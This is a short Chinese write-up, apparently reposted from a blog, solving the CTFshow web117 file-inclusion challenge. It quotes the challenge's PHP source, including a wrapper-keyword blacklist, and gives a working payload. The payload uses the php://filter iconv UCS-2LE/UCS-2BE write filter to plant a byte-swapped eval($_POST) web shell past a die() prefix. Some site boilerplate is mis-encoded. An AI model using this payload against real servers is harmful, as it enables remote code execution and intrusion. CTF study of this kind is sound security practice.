CTFshow 文件包含 web117
生活随笔
收集整理的這篇文章主要介紹了
CTFshow 文件包含 web117
小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.
目錄
- 源碼
- 思路
- 題解
- 總結(jié)
源碼
<?php/* # -*- coding: utf-8 -*- # @Author: yu22x # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-01 18:16:59*/ highlight_file(__FILE__); error_reporting(0); function filter($x){if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){die('too young too simple sometimes naive!');} } $file=$_GET['file']; $contents=$_POST['contents']; filter($file); file_put_contents($file, "<?php die();?>".$contents);思路
這題考點也是用filter偽協(xié)議,不過base64和rot13都不能那個用了
題解
參考羽師傅的博客https://blog.csdn.net/miuzzx/article/details/116205407
這是取一個 UCS-2LE UCS-2BE
payload: file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php post:contents=?<hp pvela$(P_SO[T]1;)>?這種是將字符兩位兩位進行交換
大家可以自行測試如下代碼
總結(jié)
水題
總結(jié)
以上是生活随笔為你收集整理的CTFshow 文件包含 web117的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: CTFshow 文件包含 web116
- 下一篇: 代码执行漏洞